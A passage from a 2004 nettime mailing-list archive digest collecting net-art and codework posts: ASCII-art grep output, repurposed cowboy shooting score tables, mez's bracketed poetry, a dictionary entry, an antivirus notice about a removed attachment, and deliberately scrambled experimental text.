CONSCOTHER WITHACWITHOUTE,\nCOM PLACE WITPANIONG  THE HOUT RIVER  WANS, DURINDERS FROM  A  ETC.:NY\nSETTICALLY RETLED H HAND-HAD COELD ROD, TOMDIC: AHAT CAN OPDEE; NOMAD \nDAT)< LL VAG?A, AS ED AS TBUNDUHE DRIFT OTHWANDERF VGA BONDS E SHIP\n\nSee Help for Meaning of(185):          % {AT}  {AT}  {AT}  {AT} .           % {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(186):       - {AT}  {AT} %              SDFASFSADFASDF\nSee Help for Meaning of(187):     - {AT}  {AT}                            {AT}  {AT} #\nSee Help for Meaning of(188):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(189):    {AT}  {AT}                                 # {AT} \nSee Help for Meaning of(190):   {AT}  {AT}   ADS2F1HAS32F SFSD FD FD FDS      {AT}  {AT} \nSee Help for Meaning of(191):   {AT}                                      {AT} \nSee Help for Meaning of(194):   {AT}                                      {AT} \nSee Help for Meaning of(195):   {AT}  {AT}                                   % {AT} \nSee Help for Meaning of(196):    {AT} %                                = {AT} \nSee Help for Meaning of(197):     {AT}  {AT}              ASDV SDFADSFDFDF  {AT}  {AT} ASD1F SDF\nSee Help for Meaning of(198):     * {AT}  {AT}                            {AT}  {AT}  {AT} \nSee Help for Meaning of(199):       * {AT}  {AT} +                    - {AT}  {AT}  {AT} \nSee Help for Meaning of(200):           {AT}  {AT}  {AT}  {AT} *            + {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(948): AS FSD FSADF  {AT} .           % {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(949):       - {AT}  {AT} %                    * {AT}  {AT} +\nSee Help for Meaning of(950):     - {AT}  {AT}                            {AT}  {AT} #\nSee Help for Meaning of(951):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(952):    {AT}  {AT}                                 # {AT} \nSee Help for Meaning of(953):   {AT}  {AT}    AS DFSADFSAFSDF SD FSADFSADF    {AT}  {AT} \nSee Help for Meaning of(954):   {AT}                                      {AT} \nSee Help for Meaning of(957):   {AT} A FAS FASF SAFAS                     {AT} \nSee Help for Meaning of(958):   {AT}  {AT}                                   % {AT} \nSee Help for Meaning of(959):    {AT} %                                = {AT} \nSee Help for Meaning of(960):     {AT}  {AT}               ASD FFFFFFFFFFFASF SAFASF\nSee Help for Meaning of(961):     * {AT}  {AT}                            {AT}  {AT}  {AT} \nSee Help for Meaning of(962):       * {AT}  {AT} +                    - {AT}  {AT}  {AT} \nSee Help for Meaning of(963):           {AT}  {AT}  {AT}  {AT} *            + {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(1621):          % {AT}  {AT}  {AT}  {AT} .           % {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(1622):       - {AT}  {AT} %                    * {AT}  {AT} +\nSee Help for Meaning of(1624):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(1625):    {AT}  {AT}                                 # {AT} \nSee Help for Meaning of(1626):   {AT}  {AT}                                    {AT}  {AT} \nSee Help for Meaning of(1627):   {AT}                                      {AT} \nSee Help for Meaning of(1630):   {AT}                                      {AT} \nSee Help for Meaning of(1631):   {AT}  {AT}                                   % {AT} \nSee Help for Meaning of(1632):    {AT} %                                = {AT} \nSee Help for Meaning of(1634):     * {AT}  {AT}                            {AT}  {AT}  {AT} \nSee Help for Meaning of(1635):       * {AT}  {AT} +                    - {AT}  {AT}  {AT} \nSee Help for Meaning of(1636):           {AT}  {AT}  {AT}  {AT} *            + {AT}  {AT}  {AT}  {AT}  ASFSD FSDF\nSee Help for Meaning of(2117):          % {AT}  {AT}  {AT}  {AT} .           % {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(2119):     - {AT}  {AT}                            {AT}  {AT} #\nSee Help for Meaning of(2120):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(2121):    {AT}  {AT}                                 # {AT} \nSee Help for Meaning of(2122):   {AT}  {AT}                                    {AT}  {AT} \nSee Help for Meaning of(2123):   {AT}                                      {AT} \nSee Help for Meaning of(2126):   {AT}                                      {AT} \nSee Help for Meaning of(2127):   {AT}  {AT}         AFASF    ASFASFSADF  SF SDF SDF\nSee Help for Meaning of(2128):    {AT} %                                = {AT} \nSee Help for Meaning of(2129):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(2130):     * {AT}  {AT}                            {AT}  {AT}  {AT} \nSee Help for Meaning of(2131):       * {AT}  {AT} +                    - {AT}  {AT}  {AT} AS FASFS\nSee Help for Meaning of(2132):           {AT}  {AT}  {AT}  {AT} *            + {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(2534):          % {AT}  {AT}  {AT}  {AT} .           % {AT}  {AT}  {AT}  {AT} \nSee Help for Meaning of(2536):     - {AT}  {AT}                            {AT}  {AT} #\nSee Help for Meaning of(2537):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(2538):    {AT}  {AT}                                 # {AT} \nSee Help for Meaning of(2539):   {AT}  {AT}                                    {AT}  {AT} \nSee Help for Meaning of(2540):   {AT}                                      {AT} \nSee Help for Meaning of(2543):   {AT}                                      {AT} \nSee Help for Meaning of(2544):   {AT}  {AT}                                   % {AT} \nSee Help for Meaning of(2545):    {AT} %ASDFASFASFAS  S FSF ASF ASFSF   = {AT} \nSee Help for Meaning of(2546):     {AT}  {AT}                                {AT}  {AT} \nSee Help for Meaning of(2547):     * {AT}  {AT}                            {AT}  {AT}  {AT} \nSee Help for Meaning of(2548):       * {AT}  {AT} +                    - {AT}  {AT}  {AT} \nSee Help for Meaning of(2549):           {AT}  {AT}  {AT}  {AT} *            + {AT}  {AT}  {AT}  {AT} \nFound '^(%* ^)^(* {AT} *^) *$' 66 time(s).\nSearch complete, found '^(%* ^)^(* {AT} *^) *$' 847 time(s). (92 files.)\n\n\n\n__\n\nwreathus isbn 82-92428-08-9\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Sweetwater Creek and MrMr Nettime Raw\nDate: Sun, 15 Aug 2004 16:37:19 -0400 (EDT)\n\n\n\n\nSweetwater Creek and MrMr Nettime Raw\n\n\nShooter Data Entry 10-Oct-03 Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage\n6 Stage 7 Total Rank\n   \tAlias \tSASS # \tClass \tRaw Time \tNet Time\nRaw Time \tNet Time \t  \tRaw Time \tNet Time\nRaw Time \tNet Time \t  \tRaw Time \tNet Time\n\nRaw Time \tNet Time \t  \tRaw Time \tNet Time\n\n02 \tBear Lee Tallable \t23670 \tDuelist \t41.93 \t41.93 \t3\n38.97 \t43.97 \t3 \t10.18 \t10.18 \t3 \t63.04 \t63.04 \t1\n41.13 \t46.13 \t5 \t46.86 \t51.86 \t6 \t37.07 \t32.07 \t1 \t22\n1 \t289.18\n07 \tToledo Kid \t35150 \tTraditional \t40.41 \t50.41 \t10\n38.06 \t38.06 \t1 \t10.97 \t10.97 \t4 \t69.62 \t69.62 \t3\n40.96 \t40.96 \t1 \t51.56 \t51.56 \t5 \t42.56 \t42.56 \t3 \t27\n2 \t304.14\n03 \tSaguaro Jack \t33974 \tTraditional \t38.62 \t38.62 \t1\n45.86 \t45.86 \t4 \t11.94 \t11.94 \t5 \t71.31 \t71.31 \t5\n43.8 \t43.8 \t3 \t45.86 \t55.86 \t7 \t55.5 \t55.5 \t9 \t34\n3 \t322.89\n15 \tDead Head \t29768 \tDuelist \t46.74 \t46.74 \t5\n43.05 \t43.05 \t2 \t7.92 \t12.92 \t8 \t73.39 \t73.39 \t7\n47.45 \t47.45 \t7 \t49.89 \t49.89 \t2 \t50.59 \t45.59 \t4 \t35\n4 \t319.03\n04 \tCy Klopps \t3130 \tTraditional Senior \t41.46 \t46.46 \t4\n46.15 \t51.15 \t8 \t10.19 \t15.19 \t14 \t72.24 \t72.24 \t6\n45.55 \t45.55 \t4 \t45.87 \t50.87 \t4 \t44.03 \t34.03 \t2 \t42\n5 \t315.49\n14 \tSnakey Gratin \t42106 \tTraditional \t36.01 \t41.01 \t2\n44.37 \t49.37 \t6 \t8.13 \t8.13 \t1 \t84.54 \t94.54 \t14\n41.89 \t56.89 \t10 \t40.25 \t50.25 \t3 \t41.14 \t51.14 \t6 \t42\nTie \t351.33\n23 \tScruffy Smith \t47906 \tTraditional \t45.32 \t55.32 \t12\n38.54 \t48.54 \t5 \t12.64 \t12.64 \t7 \t70.59 \t70.59 \t4\n41.72 \t46.72 \t6 \t43.31 \t43.31 \t1 \t55.4 \t55.4 \t8 \t43\n7 \t332.52\n18 \tCoco Gratin \t42107 \tLadies Traditional \t39.04 \t49.04 \t7\n53.16 \t53.16 \t10 \t9.23 \t14.23 \t11 \t69.44 \t69.44 \t2\n43.14 \t43.14 \t2 \t63.22 \t73.22 \t12 \t43.82 \t58.82 \t11 \t55\n8 \t361.05\n01 \tGeorge Silver \t46015 \tTraditional \t46.27 \t51.27 \t11\n49.59 \t54.59 \t11 \t12.13 \t12.13 \t6 \t76.2 \t81.2 \t11\n61.39 \t71.39 \t15 \t59.58 \t59.58 \t9 \t55.38 \t55.38 \t7 \t70\n9 \t385.54\n09 \tHezekiah Ezekiel Hipshot \t33386 \tDuelist \t44.36\n49.36 \t8 \t48.05 \t68.05 \t14 \t8.56 \t13.56 \t9 \t78.39\n78.39 \t9 \t42.68 \t47.68 \t8 \t66.94 \t66.94 \t10 \t61.13\n66.13 \t13 \t71 \t10 \t390.11\n13 \tRusty Bucket \t44721 \tDuelist \t52.13 \t57.13 \t15\n51.94 \t56.94 \t13 \t9.73 \t9.73 \t2 \t80.65 \t95.65 \t15\n54.11 \t59.11 \t12 \t56.92 \t56.92 \t8 \t55.76 \t55.76 \t10 \t75\n11 \t391.24\n05 \tPittsburg Mac \t20796 \tTraditional \t42.87 \t47.87 \t6\n48.11 \t53.11 \t9 \t10.31 \t15.31 \t16 \t84.63 \t84.63 \t12\n53.68 \t53.68 \t9 \t71.22 \t81.22 \t13 \t59.38 \t59.38 \t12 \t77\n12 \t395.20\n08 \tJoe Pete \t33575 \tTraditional \t55.39 \t55.39 \t13\n50.75 \t55.75 \t12 \t15.2 \t15.2 \t15 \t78.35 \t78.35 \t8\n53.53 \t58.53 \t11 \t71.23 \t81.23 \t14 \t56.58 \t46.58 \t5 \t78\n13 \t391.03\n22 \tSweetwater Creek \t47058 \tLadies Traditional \t49.49\n49.49 \t9 \t50.74 \t50.74 \t7 \t15 \t20 \t18 \t79.69\n79.69 \t10 \t57.25 \t62.25 \t13 \t60.69 \t70.69 \t11 \t61.37\n71.37 \t14 \t82 \t14 \t404.23\n\n\n\n__\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: NETTIME-L RIDES AGAIN\nDate: Sun, 15 Aug 2004 18:49:25 -0400 (EDT)\n\n\n\nNETTIME-L RIDES AGAIN\n\n-Aug-    Time Rank    Total Time    Stage\n\nStage          Stage         Stage\nStage          Stage         Stage\n\nTotal Rank     Order by Rank Misses\n\nAlias  SASS #  Class  NETTIME-L Rank  NETTIME-L\nRank  NETTIME-L Rank  NETTIME-L Rank  NETTIME-L\nRank  NETTIME-L Rank  NETTIME-L Rank\nMad Sveinn    Gunfighter    .  .\n.    .    .    .    .\n.\nHalf-a-Hand Henri    Gunfighter    .  .\n.    .    .    .    .\n.\nCapt Morgan Rum    Traditional    .  .\n.    .    .    .    .\n.\nDirty Dan    Senior    .  .    .\n.    .    .    .    .\n\nToledo Kid    Traditional    .  .\n.    .    .    .    .\n.\nLaBouche    Traditional    .  .\n.    .    .    .    .\n.\nKidd Thunder    Duelist    .  .\n.    .    .    .    .\n.\nEastern Tenderfoot    Traditional    .  .\n.    .    .    .    .\n.\nMidnight Rambler    Traditional    .  .\n.    .    .    .    .\n.\n\nSaguaro Jack    Traditional    .  .    .\n.    .    .    .    .\n\nFleece Montana    Traditional    .  .\n.    .    .    .    .\n.\nPistol Packin Punky    Ladies Traditional    .\n.    .    .    .    .\n.    .\nBear Lee Tallable    Duelist    .  .\n.    .    .    .    .\n.\nAlzada Kid    Junior    .  .    .\n.    .    .    .    .\n\nSled Dog Man    Senior    .  .    .\n.    .    .    .    .\n\nIron Horse Pete    er    .  .\n.    .    .    .    .\n.\nCy Klopps    Senior    .  .    .\n.    .    .    .    .\n\nGeorge Silver    Senior    .  .    .\n.    .    .    .    .\n\nDing M Doug    Traditional    .  .\n.    .    .    .    .\n.\nJohnny Whiskey    Traditional    .  .\n.    .    .    .    .\n.\nScruffy Smith    Traditional    .  .\n.    .    .    .    .\n.\nDead Head    Duelist    .  .\n.    .    .    .    .\n.\nMiss Addy Tude    Ladies Traditional    .  .\n.    .    .    .    .\n.\nBuck Orr    Senior    .  .    .\n.    .    .    .    .\n\nChelsea Kid    Duelist    .  .\n.    .    .    .    .\n.\nGrizz Henry    Black Powder    .  .\n.    .    .    .    .\n.\nVince Lobo    Duelist    .  .\n.    .    .    .    .\n.\nShenandoah Kid    Traditional    .  .\n.    .    .    .    .\n.\nRawhide Rod    Black Powder    .  .\n.    .    .    .    .\n.\nEmma Goodcook    Ladies Traditional    .  .\n.    .    .    .    .\n.\nR.L. Pru    Traditional    .  .\n.    .    .    .    .\n.\nTugg Hames    Duelist    .  .\n.    .    .    .    .\n.\nDoc Silverfinger    Duelist    .  .\n.    .    .    .    .\n.\nSheriff Rusty P Bucket    Classic Cowboy    .  .\n.    .    .    .    .\n.\nOlde Patches    Senior    .  .    .\n.    .    .    .    .\n\nNantucket Dawn    Ladies Traditional    .  .\n.    .    .    .    .\n.\nCoco Gratin    Duelist    .  .\n.    .    .    .    .\n.\nSheriff Dudley    Senior    .  .    .\n.    .    .    .    .\n\nMo Hare    Gunfighter    .  .\n.    .    .    .    .\n.\nDoc McKenna    Duelist    .  .\n.    .    .    .    .\n.\nHugh Betcha    Traditional    .  .\n.    .    .    .    .\n.\nJD Bullets    Duelist    .  .\n.    .    .    .    .\n.\nJohn Aspen    Traditional    .  .\n.    .    .    .    .\n.\nDane Grey    Senior    .  .    .\n.    .    .    .    .\n\nYukon Willie    Traditional    .  .\n.    .    .    .    .\n.\nBonnie Oakley     Ladies Traditional    .  .\n.    .    .    .    .\n.\n\n__\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: # _mon[day]tage change a[r]gent_\nDate: Tue, 20 Jul 2004 06:49:47 +1000\n\n#\n# _mon[day]tage change a[r]gent_  05:02am 19/07/2004\n#\n\n\n_hi[fi]gh.ways + stretching_layered_hearts_along_review_spokes_\n\n\n[n.sert+ad[d]apt]\n\n[cool brain_wanderings _whilst_limbic_system_slumbers]\n\n\n\n\n\n. \t\n\n\n\n\n#\n#_n[h]erd.bonding_  07:41am 14/07/2004\n#\n\n_organic.crash.tack.ling+sew.c.all.pair.blinding_\n\n\n. \t\n\n\n\n#\n#_rebr&_  08:26am 13/07/2004\n#\n\n[Code social]\n\nearnest.n.vestigative.n.quiry = ner[!].dish.ment = geekster.fo[o]d.der[!]\n\n-- \t\n\n\n\n#\n#_junk.EE d.tree.us_  06:47am 08/07/2004\n#\n\n_comm.MOOing with the mono.lith_\n\n_death.shelling.+.shadowed.feather.caw.pses_\n\n_trick.sun.s.potting.+.crystal.blistering.in.jewelled.murmurs_\n\n//\n\n_4est.p[r]ickling.+.tubed.resi.due[l].lacing.ice.lawns_\n\n\n:\n\nt.ip_fingered_numbing\n\n\n[locator]\n\n_flit.shift+dagger.tiny.bird.plummeting_\n\n\n\n\n\n\n\n. \t\n\n\n\n#\n#_beast-[UN]stitching_ 10:34am 04/07/2004\n#\n\nSect[.ion]1:\n\n_blue_arrogance_XXX_stitching_revoked + revamped\n_heart.strang[e]led.no.barb[ie].wired.[Michael]Moore\n_old_confidence_masking+_bravado_drunk_ego_drinking_slashed+maturity_waived\n\n[he. grasps.me.no.(Sir Thomas)Moore]\n\n\n[instead:\ndiscipline /disciple resin_texture of the day_limbs akimbo _narcotic \nnostalgia___crystalline beast-stitching] \t\n\n\n\n#\n#_Longhorn_vs_Tiger_  07:28pm 03/07/2004\n#\n\nor, we get a Liger.\n\n\n\n\n* \t\n\n\n#\n#_ho.LEdging_ 09:20pm 28/06/2004\n#\n\n\n.[st]reaking of b.la[n]kness.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n.\n[frozen.attitude.Njection]\n\n\n\n\n\n\n. \t\n\n\n#\n#_nite + metallic mo[u]rning[s]_  03:27am 25/06/2004\n#\n\n.....s.lap.happie.slippage+u.r.[t]all.lank.liars.in.PVC.chat.[under]coatings....\n.....lurch.actual+maladapt.tumble_words+\nE.ffectual.s[n]ide_dinner.part.E.glancings....\n.....repeat.mechanicals.in.hitched.up.+\nbutter[ed.side].down.d.sire.actions.......\n\n\n\n...txt.ured.[heart.t.ape.stries]loom.ings+ch.ROMe.or[g]a[sm]nic.trees.linger....\n\n\n\n+ \t\n\n\n\n\n#\n#_triple soni[c]a_ 07:23am 24/06/2004\n#\n\n   #rushing.thru.eden.[s]lopping.anecdotals#\n   #move.ment.slide.dictati[ng]on#\n   #static 2-D bird.s[l]ong[ing].as.the.world.de_me|olts#\n\n\n\n\n\n\n\n\n\n.\n\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nDate:         Thu, 19 Aug 2004 18:02:29 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nSubject: clarification\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n-fellatio  shift+-> n ctrl+i: GRAL felaci\u00f3n; V. shift+-> sexual perversion,\nbestiality, indecency, buggery, rape, sodomy, unnatural acts. ctrl+i\n\n[p. 240 ingl\u00e9s-espa\u00f1ol]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nEnrique Alcaraz Var\u00f3 y Brian Hughes, _Diccionario de t\u00e9rminos jur\u00eddicos.\nIngl\u00e9s-Espa\u00f1ol, Spanish-English_, 7a edici\u00f3n, Editorial Ariel, S.A.,\nBarcelona, 2003.\n\n\n\n\n\nnettime unstable digest vol 85\nFri Aug 27 17:39:42 2004\n\n\nSubject: _LO[L]Wing_\n    From: \"[g]Ash[+Bi]Shopping\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au, wompydjg1970 {AT} yahoo.com,\n\nSubject: mesnomer serch (rigula espresso)\n    From: noemata {AT} kunst.no\n    To: WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\n\nSubject: Sweetwater Creek and MrMr Nettime Raw\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: NETTIME-L RIDES AGAIN\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: # _mon[day]tage change a[r]gent_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 27 Aug 2004 22:13:19 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200408272320.i7RNK3S00983 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0408/msg00103.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 85"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00024",
                "content": "\nDate: Sun, 12 Sep 2004 16:04:56 +1000\nFrom: mz wierDOS <netwurker {AT} HOTKEY.NET.AU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: _d[ata]ream.discharge_   03:59pm 12/09/2004\n\n_d[ata]ream.discharge_   03:59pm 12/09/2004\n\nunderscore d square bracket ata end square bracket ream dot discharge end\nunderscore\n\nunderscore square bracket all dot along dot the end square bracket watch\ndot square bracket towering dot infernoesqueness end square bracket ing dot\ndna dot drain dot into dot plastic dot reality dot tubes end underscore\n\nunderscore scrabbling dot in dot states plus symbol gasping dot through dot\nrock dot openings end underscore\n\nunderscore hero dot narratives dot drenches dot in dot evolutionary dot\npolish space square bracket survival dot of dot the dot fi bracket gh end\nbracket t bracket er end bracket test end square bracket end underscore\n\n\n--\n[recoded]\n\n\n\n\n\n< SC.R.I.P.T language=dreamer.suckling >\n\n\n\n\n\n\n\n_[all.along.the]watch.[towering.infernoesqueness]ing.dna.drain.in2.plastic.reality.tubes_\n_scrabbling.in.states+gasping.thru.rock.openings_\n_hero.narratiffs.drenches.in.evolutionary.polish\n[survival.of.the.fi(gh)t(er)test]_\n\n\n\n\n--\n\n    .pOST_avat.r(esidency)ix 101.1_\n-\n-[sharing _cultural farming_ +pricking.s[t|n]uff[ering] ]\n-[i die.binary+[am]virtually.b[l]in[d]]\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\n\nDate: Thu, 16 Sep 2004 00:16:36 +0200\nFrom: Peter Luining <email {AT} ctrlaltdel.org>\nTo: Syndicate <syndicate {AT} anart.no>\nSubject: re:interview on saturday at 16-00 -  Wed,\n\n--------  Virus Warning Message --------\nThe virus JS/Zerolin was detected in the attachment \n00000049.EML/0000008f.js/0000008f.js. The attached File \n00000049.EML/0000008f.js/0000008f.js has\nbeen removed. For questions please contact the Helpdesk.\n\nEr is een virus JS/Zerolin gevonden in de attachement/bijlage \n00000049.EML/0000008f.js/0000008f.js. De 00000049.EML/0000008f.js/0000008f.js \nis verwijderd.\nVoor meer informatie raadpleeg de speciale FAQ onder \"Customer Services\" -> \n\"Helpdesk\" op www.upc.nl.\n\nUn virus JS/Zerolin a \u00e9t\u00e9 d\u00e9tect\u00e9 dans le fichier inclus \n00000049.EML/0000008f.js/0000008f.js.  Le fichier \n00000049.EML/0000008f.js/0000008f.js est\nenlev\u00e9. Pour toutes questions cliquez sur le lien ci-dessous.\n\nEr is een virus JS/Zerolin gevonden in de bijlage \n00000049.EML/0000008f.js/0000008f.js. De bijlage \n00000049.EML/0000008f.js/0000008f.js is verwijderd.\nVoor vragen kunt u klikken op de link hieronder.\n\nEt virus JS/Zerolin har blitt oppdaget i et vedlegg. Vedlegget\n00000049.EML/0000008f.js/0000008f.js har blitt fjernet. Har du\nsp\u00f8rsm\u00e5l ber vi deg klikke p\u00e5 linken under.\n\nEtt virus JS/Zerolin hittades i den bifogade filen \n00000049.EML/0000008f.js/0000008f.js. Filen \n00000049.EML/0000008f.js/0000008f.js har f\u00f6rst\u00f6rts. F\u00f6r\nmer information klicka p\u00e5 nedanst\u00e5ende l\u00e4nk.\n----------------------------------------\n\n------------\u00f1095286597-61690-32--\n\n\n\nDate: Sun, 12 Sep 2004 16:02:46 -0700\nFrom: tongue-flatchet.spiderveil <solipsis {AT} GMAIL.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: )<(je)(d)(s)(worst)()(d)d)(d)()(justc)(erst)(d)<(p(h)(a<uste\n\n[I mean]EXTEMP(m)\n\n\nus)(spi)<((c)(e)<(jud)(e)(spi)s)(s)(au<jste)(au<ju(spi)(c)(a\nworst)(d)sp)(ad)(e)<h)(am)(s)(juste)(d)((d)(s)(p)(worst)(p)(\nte)(au<ju<spi)(c)(ads)(spi)<((c)(e)<(jus)(e)(spi)()(s)(au<ju\n(d)(s)(p)(worst)(p)(worst)(d)<p)(ad)(e)<h)(am)(s)(juste)(d)(\nm)(spi)(c))(p)(h)(am)(d)(worste)(p)(h)(a)(spi)(c)(<e)<(juste\n)(d)<(s)(p)((d)(d)(sorst)(p)(h)(d)(worst)(p)(juste(<ad)(e)(w\n)(spi)(juss)(am)(s)()(s)(au<ju(s)(au<jusp)(ad)(e)<)(<(au<jus\n(h)(am)(spe)(spi)(c)<(spi)(c)(i)(c)(<(p)(ad)(e)(spte)<e)spi)\n(d)(s)(p)(pi)(c)(e)<)(h)(am)(s(worst)(d)(juste)(d)i)(c)(e)(p\n(s)(p)(ad)(s)(p)(ad)worst)(d)<(p)(h)(am)(e)(worst)juste)(d)(\n)<(spi)(c)(juste)(au<jus)(spi)u<jus)(spi<jus)(s)(a(e)<(s)(au\nu<jus)(spipi)(c)(e)<)(ad)(e)(s<jus)(s)(a(juste)(au(e)(spi)(c\n<ju(spi)(c(e)<(justsp)((ad)(e)s)(spe)(aupi)(c)(<ju)<(worst)(\ni)<(wors(p(ad)(e(am)t)(p)(h)p)wo)<(d)(s)(s)(e)(d)()s)(s)(au<\n)(d)se)(sppi)jus)(sp)(au<)<((sc)(ad)(rstic)(e)<(j()(just<)(s\nu)(h)(am)<)(d)(wo(s)trst)(d)<e)(puste)(a(p)(aworsti)(<ju<jus\n)(am)(<(am(jusspi)(c)(d)(w<e)<d)(e)<(d(h)(orst)(p))(s)(p)(te\n)(a(<)amu<d(s)(p)(jswor)(c)(<apste(<)ef(t)(p)(he)()(spi)(e)(\npi)(c)(a(<ef()<(ju(ai)(c)(e(<))(spi)<((s(<)amu<jusjus)(s)(sp\nd)(e(<)ef()(p)(justeef()<(d)(s(p)(a(<)am(<)ef()(s))amd)(e(<)\npi)(c)(e(<st)(p)(h)(st)(d)swore(<)ef()(sa(<)amm<)()<)(d)(wor\n<)(s)(a(<)<)amd<(jusspi)(c)(a(a(<)amu<jute(<)ef()()ef()i)<((\n)()(e(<)efmm)(s)(p)(p<h)(a(<)a)<worst)(pa(<)amd)(damu<jus)(s\nf()(p)wors)ef()(d)(wp)(juste(<)(c)(e(<)eorst<)(spi()<(d)(s)(\nte(<)ef()(a(<)amm)(s(<)amm(h)()ef()<(juspi)(c)<e(<t)(p)(h)(a\n(s)(p(<a(<)(d)((p)(huste(<)ef(worst)(d)<)((d)(d)(sd)(<)(p)(j\n)ama(<)amu)<p)(a(<)aef()(worst()<(s)(a(<md)(e(<)ef)amd)(e(<)\ns)(<(a(<)ajus)(spi)(amm)(s)(u<)amu<jus)(jus)(<(a(<<jus)(a(<)\na(<)amm)(s)(c)(e(<)e()(spi)(c))(<(p)(h)(f()(spi)(cmd)(e(<)ef\na(<)amm)(spi)<(spi<(<e(<)ef()s()(d)(worsjuste(<)efpte(<)ef()\n)(<(e(<)ef)(d)(s)(p))ef()<t)(d)ef()(p)(h(i)(c)(e(<pi)(c)(e(<\n(a(<)amd)js)(p)(a(<)p)(h)(d)<(amm)(s)(p)amd))(a(<)()(worst)(\ne(<)ef()(a<jus)(s)(a)(d)(worst(spi)(just(<)amu<jususte(<)ef(\nuste(<)ef()(e(<)ef()i)<(spi)(cmu<jus)<(j<(s)(a(<)a(<)amu)(sp\nmu<jus)(spf()(spi)(cjus)(e(<)e<(s)(a(<)a)(e(<)ef())(a(<)amu<\nef()(e(<)e(<)amd)<pi(spi)(c)(a(spd)(e(<))(c)(<jus)i(e(<)ef()\na(<)am<(s)(<)amu<ju(e(<)ef()(aorst)(p)((spi)(c)<(wf()<(justs\n)(s)i)<(wo)p)(a(<)amd)(wo)<((h(a(<)amm)dd)(e(<)ef((e(<)ef()(\nd)<((spi)j)(p)<ic)(e(a(<)amu<t(c)(a(<)am(<)ef()<(jrs(p)s)(s)\n(a(<)amworef()(sp)(jt)(d)se(<)(<)amu<(p)ust<)(s)(aus)(sp)(rs\na(<)amm)<id)(wo(s)te<e(<)ef()(<)amu)(h)((<)ef()(a(st)(pus(d)\nsspi)(c<(dt)(p)d)(e(rst)<)(ors<)ef()<(ju<)ef()w<e()(<ju<just\nhe(<)ef()(mm)(s)(p)(m)(<(a(<)ad)(<t)(p)(te(<)ef()((h)(a(<)am\n)ef()(wor)p)(js)((d)(<)amd(s)()(spi)(e(<(d)<(worstp)(h)c)(<a\n)am<(s)(a(()(d)u<j)(muste(<)efs)(us)(a(<pm)(s)(p)u(<s)(a(<)a\npi)(ce(<)eu<jd)<(s<()(<(a(<)ame(<)ef()<s(a(<)amd)(<)amu<j()(\nef()<us)(s)<)(<)(spi(<)ef()spimmjuste(<))(c)(a(<)af()(spi)(e\nef()c)uste((p)(h)(a(md)(e(<)efi)(c)(e(<)<)am<spi)(pi)<(a(<)a\nd)()<(p)(jp)(<(p)(hmd)(d)(s)(sf()(d)(wo<)(<(je(<)e(<)ef()(d)\nst)(d<(e(<()(woh)(a(ef()e(<)ef)(worst)(r<)amm)(srsustc)(e(<)\n)am<ju<jus(a(<)amu(p<te(<)ef()(s)(p)(a(<)(a(<)amd))ef()<(s)(\n<)ef()(spiu<jus)()<)(p)(a(<)am<pi)(c)